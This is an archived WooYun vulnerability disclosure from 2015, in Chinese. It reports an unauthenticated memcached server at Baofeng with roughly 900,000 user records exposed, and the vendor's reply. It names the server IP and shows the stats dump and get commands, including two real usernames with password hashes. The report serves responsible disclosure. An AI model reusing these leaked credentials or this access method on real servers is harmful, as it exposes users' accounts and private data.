乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-19: 细节已通知厂商并且等待厂商处理中 2015-01-19: 厂商已经确认,细节仅向厂商公开 2015-01-29: 细节向核心白帽子及相关领域专家公开 2015-02-08: 细节向普通白帽子公开 2015-02-18: 细节向实习白帽子公开 2015-03-05: 细节向公众公开
暴风影音运维不当导致近百万用户数据泄漏
memcached 未授权访问 ip 58.83.217.204各位看官自己看一下咯~
STAT items:1:number 80STAT items:1:age 73154STAT items:1:evicted 0STAT items:1:evicted_nonzero 0STAT items:1:evicted_time 0STAT items:1:outofmemory 0STAT items:1:tailrepairs 0STAT items:1:reclaimed 0STAT items:1:expired_unfetched 0STAT items:1:evicted_unfetched 0STAT items:2:number 3704912STAT items:2:age 9345840STAT items:2:evicted 2284837STAT items:2:evicted_nonzero 0STAT items:2:evicted_time 5884291STAT items:2:outofmemory 0STAT items:2:tailrepairs 0STAT items:2:reclaimed 0STAT items:2:expired_unfetched 0STAT items:2:evicted_unfetched 952183STAT items:3:number 6898STAT items:3:age 4122585STAT items:3:evicted 1514STAT items:3:evicted_nonzero 0STAT items:3:evicted_time 11107689STAT items:3:outofmemory 0STAT items:3:tailrepairs 0STAT items:3:reclaimed 0STAT items:3:expired_unfetched 0STAT items:3:evicted_unfetched 632STAT items:4:number 2STAT items:4:age 1897539STAT items:4:evicted 0STAT items:4:evicted_nonzero 0STAT items:4:evicted_time 0STAT items:4:outofmemory 0STAT items:4:tailrepairs 0STAT items:4:reclaimed 0STAT items:4:expired_unfetched 0STAT items:4:evicted_unfetched 0STAT items:5:number 908752STAT items:5:age 12016993STAT items:5:evicted 648968STAT items:5:evicted_nonzero 0STAT items:5:evicted_time 11484419STAT items:5:outofmemory 0STAT items:5:tailrepairs 0STAT items:5:reclaimed 0STAT items:5:expired_unfetched 0STAT items:5:evicted_unfetched 140360STAT items:6:number 1741742STAT items:6:age 14330310STAT items:6:evicted 2075820STAT items:6:evicted_nonzero 0STAT items:6:evicted_time 9130996STAT items:6:outofmemory 0STAT items:6:tailrepairs 0STAT items:6:reclaimed 0STAT items:6:expired_unfetched 0STAT items:6:evicted_unfetched 437638STAT items:7:number 2113018STAT items:7:age 7247455STAT items:7:evicted 1888581STAT items:7:evicted_nonzero 0STAT items:7:evicted_time 16249958STAT items:7:outofmemory 0STAT items:7:tailrepairs 0STAT items:7:reclaimed 0STAT items:7:expired_unfetched 0STAT items:7:evicted_unfetched 1241923STAT items:8:number 288287STAT items:8:age 7701839STAT items:8:evicted 267813STAT items:8:evicted_nonzero 0STAT items:8:evicted_time 13792801STAT items:8:outofmemory 0STAT items:8:tailrepairs 0STAT items:8:reclaimed 0STAT items:8:expired_unfetched 0STAT items:8:evicted_unfetched 165844STAT items:9:number 12STAT items:9:age 40278STAT items:9:evicted 0STAT items:9:evicted_nonzero 0STAT items:9:evicted_time 0STAT items:9:outofmemory 0STAT items:9:tailrepairs 0STAT items:9:reclaimed 0STAT items:9:expired_unfetched 0STAT items:9:evicted_unfetched 0STAT items:27:number 1STAT items:27:age 15230077STAT items:27:evicted 0STAT items:27:evicted_nonzero 0STAT items:27:evicted_time 0STAT items:27:outofmemory 0STAT items:27:tailrepairs 0STAT items:27:reclaimed 0STAT items:27:expired_unfetched 0STAT items:27:evicted_unfetched 0
items:5 有账号密码 number 908752 90多万噢还有其他的 items 有用户的邮箱等信息
get U_ID_135601920001770866VALUE U_ID_135601920001770866 0 149{"user_id":"135601920001770866","username":"I_think","password":"df3aa00cae3d2cd12884f9cf9914f941","type":"0","state":"1","create_time":"1326814975"}ENDget U_ID_135601920004457300VALUE U_ID_135601920004457300 0 150{"user_id":"135601920004457300","username":"jennywhj","password":"946767faa752f923658586efd89840b5","type":"0","state":"1","create_time":"1335710030"}END
加访问权限
危害等级:高
漏洞Rank:10
确认时间:2015-01-19 15:46
感谢发现并提交漏洞,此机器业务已经停用很久,不过我们会尽快修复~
暂无